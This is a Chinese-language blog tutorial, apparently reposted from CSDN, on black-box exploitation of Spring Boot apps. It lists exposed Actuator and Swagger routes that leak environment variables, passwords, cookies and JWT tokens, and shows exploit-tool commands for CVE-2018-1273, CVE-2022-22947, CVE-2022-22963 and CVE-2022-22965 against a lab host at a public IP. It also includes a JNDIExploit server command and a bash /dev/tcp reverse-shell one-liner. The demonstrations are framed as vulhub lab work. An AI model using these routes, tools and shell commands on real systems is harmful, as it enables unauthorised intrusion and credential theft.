0


SpringBoot漏洞利用

0x00 前言

Spring是Java EE编程领域的一个轻量级开源框架,而spring boot是基于Sping优化而来的全新java框架

在日常的项目中经常会遇到使用Spring Boot框架的网站,博主对该框架的常见利用方式进行了整理。此文中的漏洞环境均在本地搭建。

本文聚焦于在黑盒角度中如何发现漏洞、利用漏洞。

0x01 框架特征

一、人工识别

1、网站图片文件是一个绿色的树叶。2、特有的报错信息。3、Whitelabel Error Page关键字
在这里插入图片描述
在这里插入图片描述

二、工具识别

使用

VPS

起一个

spring boot

靶场

awvs

在这里插入图片描述

goby

在这里插入图片描述

0x02 信息泄露

路由知识

Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 / ,2.x 版本则统一以 /actuator 为起始路径
Spring Boot Actuator 默认的内置路由名字,如 /env 有时候也会被程序员修改,比如修改成 /appenv

一、路由地址及接口调用详情泄漏

开发人员没有意识到地址泄漏会导致安全隐患或者开发环境切换为线上生产环境时,相关人员没有更改配置文件,忘记切换环境配置等

直接访问以下两个 swagger 相关路由,验证漏洞是否存在:

/v2/api-docs
/swagger-ui.html

其他一些可能会遇到的 swagger、swagger codegen、swagger-dubbo 等相关接口路由:

/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html

除此之外,下面的 spring boot actuator 相关路由有时也会包含(或推测出)一些接口地址信息,但是无法获得参数相关信息:

/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops

一般来讲,暴露出 spring boot 应用的相关接口和传参信息并不能算是漏洞,但是以 “默认安全” 来讲,不暴露出这些信息更加安全。

对于攻击者来讲,一般会仔细审计暴露出的接口以增加对业务系统的了解,并会同时检查应用系统是否存在未授权访问、越权等其他业务类型漏洞。

二、配置不当而暴露的路由

主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险,或者没有按照标准流程开发,忘记上线时需要修改/切换生产环境的配置

因为配置不当而暴露的默认内置路由可能会有:

/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
其中对寻找漏洞比较重要接口的有:

/env、/actuator/env

GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文;

同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。

/refresh、/actuator/refresh

POST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。

/restart、/actuator/restart

暴露出此接口的情况较少;可以配合 POST请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。

/jolokia、/actuator/jolokia

可以通过 /jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。

/trace、/actuator/httptrace

一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie、jwt token 等信息。

0x03 CVE-2018-1273(无回显)

这里使用

vps+vulhub

的一个外网靶场环境
在这里插入图片描述

从黑盒角度来说,我就只知道这是使用了

sping boot

框架,其他我啥都不知道。

漏洞探测

这里推荐使用

SBSCAN

扫描工具(支持敏感目录和漏洞探测)
工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/133694136

python sbscan.py -u http://114.132.219.55:8080/ -ff -q

在这里插入图片描述
在这里插入图片描述

python sbscan.py -u http://114.132.219.55:8080/ -ff -q -d xdxhf5.dnslog.cn

在这里插入图片描述
在这里插入图片描述
漏洞确认!!!
然后该工具还支持使用代理功能,如果想知道漏洞测试的数据包,可以把请求转发给

BP
python sbscan.py -u http://114.132.219.55:8080/ -ff -q -d xdxhf5.dnslog.cn -p 127.0.0.1:8080

在这里插入图片描述

0x04 CVE-2022-22947

这里使用

vps+vulhub

的一个外网靶场环境
在这里插入图片描述
同样我就只知道这是使用了

sping boot

框架,其他我啥都不知道。

漏洞探测

SBSCAN

工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/133694136

python sbscan.py -u http://114.132.219.55:8080/  -q

在这里插入图片描述
看看结果报告
在这里插入图片描述
可以看到泄露了一些路由地址和执行了

id

命令

xray

xray.exe webscan --browser-crawler http://目标ip/

在这里插入图片描述

afrog

afrog -t http://127.0.0.1 -S high,critical,medium

在这里插入图片描述

nuclei

nuclei.exe -u http://ip -s high,critical

在这里插入图片描述

漏洞利用

通过第一步的漏洞探测出目标存在漏洞,那么这步就简单了,直接利用就完了。

一、GOBY

这里直接用社区版的goby去扫,扫出来能在线验证。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、Spring_All_Reachable

工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/132226378
在这里插入图片描述
在这里插入图片描述

三、SpringBootExploit

工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/132271900

VPS上执行

JNDIExploit

工具

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 114.132.219.55

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
按照提示访问

http://114.132.219.55:8080/?cmd=id

在这里插入图片描述

四、SpringBoot-Scan-GUI

工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/132269211

使用方式很简单,直接双击打开exe就行
在这里插入图片描述
在这里插入图片描述
这样换一个命令就要点一次

漏洞利用

按钮,有点不方便,可以尝试

反弹shell

推荐一个反弹shell命令生成地址
https://forum.ywhack.com/shell.php
在这里插入图片描述
VPS上监听对应端口
在这里插入图片描述

五、SpringBoot-Scan

工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/132269014

python3 SpringBoot-Scan.py -v example.com

在这里插入图片描述

CVE-2022-22947

暂时不支持命令交互,只能执行

id

命令

0x05 CVE-2022-22963(无回显)

这里使用

vps+vulhub

的一个外网靶场环境
在这里插入图片描述
通过

Whitelabel Error Page

关键字知道使用了

spring boot

框架

漏洞探测及利用

nuclei(仅漏洞探测)

nuclei.exe -u http://ip -s high,critical

在这里插入图片描述

一、SBSCAN

工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/133694136

python sbscan.py -u http://114.132.219.55:8080/  -ff -q

在这里插入图片描述

python sbscan.py -u http://114.132.219.55:8080/  -ff -q -d 2l9lgj.dnslog.cn

在这里插入图片描述

看看dnslog有没有记录
在这里插入图片描述
有记录,漏洞确认!!!

如何反弹shell?

也是让工具请求数据包走BP,修改测试命令就行

python3 sbscan.py -u http://114.132.219.55:8080/ -ff -q -p 127.0.0.1:8080

在这里插入图片描述
推荐一个反弹shell命令生成地址
https://ares-x.com/tools/runtime-exec

编码内容→ bash -i >& /dev/tcp/192.168.0.105/8888 0>&1

在这里插入图片描述
VPS上监听对应端口
在这里插入图片描述

二、SpringBoot-Scan

工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/132269014

python3 SpringBoot-Scan.py -v example.com

在这里插入图片描述
该工具支持代理功能,想手动反弹shell也很简单呀,让工具请求数据包走BP,去BP修改测试payload不就行了吗

python3 SpringBoot-Scan.py -v http://114.132.219.55:8080/ -p 127.0.0.1:8080

在这里插入图片描述

whoami

改为反弹shell命令不就行了吗
在这里插入图片描述
在这里插入图片描述

三、SpringBoot-Scan-GUI

工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/132269211

使用方式很简单,直接双击打开exe就行
在这里插入图片描述
推荐一个反弹shell命令生成地址
https://ares-x.com/tools/runtime-exec

编码内容→ bash -i >& /dev/tcp/192.168.0.105/8888 0>&1

在这里插入图片描述
VPS上监听对应端口
在这里插入图片描述

四、Spring_All_Reachable

工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/132226378

在这里插入图片描述
在这里插入图片描述
推荐一个反弹shell命令生成地址
https://forum.ywhack.com/shell.php
在这里插入图片描述
在这里插入图片描述

0x06 CVE-2022-22965

这里使用

vps+vulhub

的一个外网靶场环境
在这里插入图片描述
通过小绿叶知道使用了

spring boot

框架

漏洞探测及利用

nuclei(仅漏洞探测)

nuclei.exe -u http://ip -s high,critical

在这里插入图片描述

一、SBSCAN

工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/133694136

python3 sbscan.py -u http://114.132.219.55:8080/ -q

在这里插入图片描述
查看漏洞报告
在这里插入图片描述
在这里插入图片描述
成功执行命令

二、SpringBoot-Scan-GUI

工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/132269211

使用方式很简单,直接双击打开exe就行
在这里插入图片描述
怎么没扫描出来呀,别着急
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

三、SpringBoot-Scan

工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/132269014

python3 SpringBoot-Scan.py -v example.com

在这里插入图片描述
在这里插入图片描述
该CVE支持命令交互

标签: spring boot java CVE

本文转载自: https://blog.csdn.net/m0_60571842/article/details/134133830
版权归原作者 SuperherRo 所有, 如有侵权,请联系我们删除。

“SpringBoot漏洞利用”的评论:

还没有评论